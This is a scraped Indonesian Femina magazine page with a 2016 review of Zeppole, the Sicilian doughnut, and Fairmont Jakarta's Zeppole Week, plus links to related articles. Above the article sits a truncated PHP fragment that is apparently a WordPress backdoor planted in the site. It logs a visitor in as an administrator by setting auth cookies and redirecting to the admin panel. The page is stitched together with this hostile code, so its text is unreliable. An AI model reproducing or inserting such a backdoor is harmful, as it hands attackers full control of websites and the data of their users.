Pekan Zeppole, Donat Manis asal Sisilia

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

17 Feb 2016

Nama Zeppole mungkin belum akrab di telinga para pencinta kuliner tanah air. Zeppole merupakan hidangan manis berupa donat asal Sisilia, Italia. Biasanya sajian ini disantap setiap perayaan Festa di San Giuseppe atau Saint Joseph’s Day, yang jatuh pada tanggal 19 Maret.

            Walau banyak yang menyebutnya sebagai donat Italia, adonan Zeppole sebenarnya sama dengan choux pastry atau kue sus. Hanya saja teksturnya lebih lembut dibanding donat dan lebih creamy dari choux pastry. Biasanya dimasak dengan cara menggorengnya dalam minyak bayak yang panas dan berbentuk layaknya donat. Lalu diberi taburan gula bubuk sebagai pemanis. Selain digoreng sajian ini juga bisa dipanggang dan diberi isi beraneka ragam. Seperti pastry cream, mascarpone cream, ricotta cheese, atau chocolate custard.
            Lain orang lain pula kreasinya, begitu juga dengan Sapto Wibowo, Executive Pastry Chef, Fairmont Jakarta. Sapto menghadirkan kreasi Zeppole dengan cara dipanggang dan lapisan sable crust di permukaannya. Ada pilihan isian rasa coklat dan vanila setiap harinya. Sementara pilihan monthly flavor hadir dengan rasa buah-buahan musiman, seperti mangga.
            Khusus untuk tanggal 22-29 Februari 2016, Sapori Deli menghadirkan sebuah program kuliner bertemakan Zeppole Week. Dalam minggu ini, 12 macam varian rasa kreatif hadir setiap harinya. Seperti Dulce de Leche, Black Forest, Earl Grey atau Lemon Soda Pop. Saatnya mencoba zeppole dengan rasa favorit Anda!

Gosip Rumah Mode Versace

Gaya Elegan Si Rambut Panjang

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id